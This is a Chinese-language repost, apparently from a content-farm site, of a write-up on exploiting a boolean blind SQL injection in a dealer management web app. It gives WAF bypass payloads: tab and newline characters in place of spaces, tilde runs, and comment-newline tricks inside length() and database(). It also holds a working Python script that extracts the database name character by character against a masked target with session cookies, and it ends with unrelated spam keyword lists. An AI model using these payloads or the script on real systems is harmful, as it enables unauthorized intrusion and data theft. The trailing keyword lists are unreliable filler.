如何解析SQL的bypass案例分析
发表于:2025-01-26 作者:千家信息网编辑
千家信息网最后更新 2025年01月26日,这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。一、测试发现一个布尔型注入点,测试过程如下:1、原始请求2、输入'or'1'l
千家信息网最后更新 2025年01月26日如何解析SQL的bypass案例分析
这篇文章给大家介绍如何解析SQL的bypass案例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。
一、测试发现一个布尔型注入点,测试过程如下:
1、原始请求
2、输入'or'1'like'1
3、输入'or'1'like'2
4、初步判断存在布尔型sql盲注,然后开始判断库名长度:
5、首先想到可能处理了空格,手工简单测试下:
6、发现:
空格or(不拦截)
or空格(拦截)
or/**/(拦截)
or%09 %0a %0d(不拦截)
二、简单fuzz下字符:
1、or (偶数个~) 也可以bypass
2、奇数个~执行失败:
3、进一步获取库名长度:
4、还是被拦截,猜测是处理了length()或database()函数,简单尝试下:
5、length()被处理掉了,fuzz一下:
6、利用注释换行符组合如length%23%0a()即可绕过:
7、这里还是报错,简单测试了下,把空格键换一下即可解决:
8、继续判断库名长度:
9、database()也被处理掉了,同样的方法可绕过:
10、最终得出数据库长度为7,如下图:
11、获取库名
12、substr未拦截,借助intruder跑一下:
注出第一个字符为l
三、写个脚本拖一下完整库名:
import requests
payloads = 'abcdefghijklmnopqrstuvwxyz_-'
database = ''
for l in range(1,8):
for payload in payloads:
burp0_url = "https://xxxxxx.xxxxxxxx.com:443/dms.web/manage/rest/basedata/DutyRecord?sort=EMPLOYEE_NO&order=asc&limit=10&offset=0®isterDate=2020-08-19'or%09substr(database%23%0a(),{0},1)%3d'{1}'%09or'1'like'2&employeeNo=0222&onDutyTime=08%3A00&offDutyTime=17%3A00&usableWorkingHours=9.0&dms_table=%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D%2C%5Bobject+Object%5D&dmsFuncId=15100070&_=1597802235462".format(l,payload)
burp0_cookies = {"JSESSIONID": "ABCWB37FFE3DB54BD5705453E681E41F2", "selectDealerCode": "xxxx", "selectusername": "xxxx", "language": "zh_CN"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:79.0) Gecko/20100101 Firefox/79.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "https://xxxxxx.yxxxxuxuxo.xxm/dms.web/html/index.html"}
resp = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
if "2018-10-22" in resp.content:
database += payload
print '[*]success\t' + database
else:
print '[*]dumping......'
print '[*]current database is:\t' + database
借助regexp正则匹配也可以实现,payload:
'%20or%0adatabase%23%0a()regexp'%5el'%09or%09'2'like'1
成功注出第一个字符:l,以此类推。
关于如何解析SQL的bypass案例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
空格
长度
处理
测试
字符
案例
案例分析
分析
内容
布尔
更多
还是
帮助
输入
不错
原始
成功
以此类推
偶数
兴趣
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
唐工职业技术学院软件开发
巩义市怡兴软件开发
航信数据库初始密码
显示屏软件开发工具
网络安全的基本要素怎么简述
上海兼职打车软件开发
cms 数据库怎么用
删除app 保留在数据库
网络安全心理问题
软件开发没有年终奖
iis服务器负载均衡设置
超融合服务器 价格
数据库和空间
扫雷网络安全活动
天津超频服务器销售厂家
svn 服务器 文件
m1 pro 软件开发商
计算机网络技术由什么组成
c 搭建web服务器
数据库中日期的类型
富文本编辑器怎么进入数据库
旧电脑主机怎么改成小服务器
access数据库概念
成都网络安全报告
软件开发 接项目签什么合同
现代网络技术是什么
太原小店新华互联网科技
经营范围软件开发
龙之谷老是掉线与服务器断开
网络安全打非扫黄观后感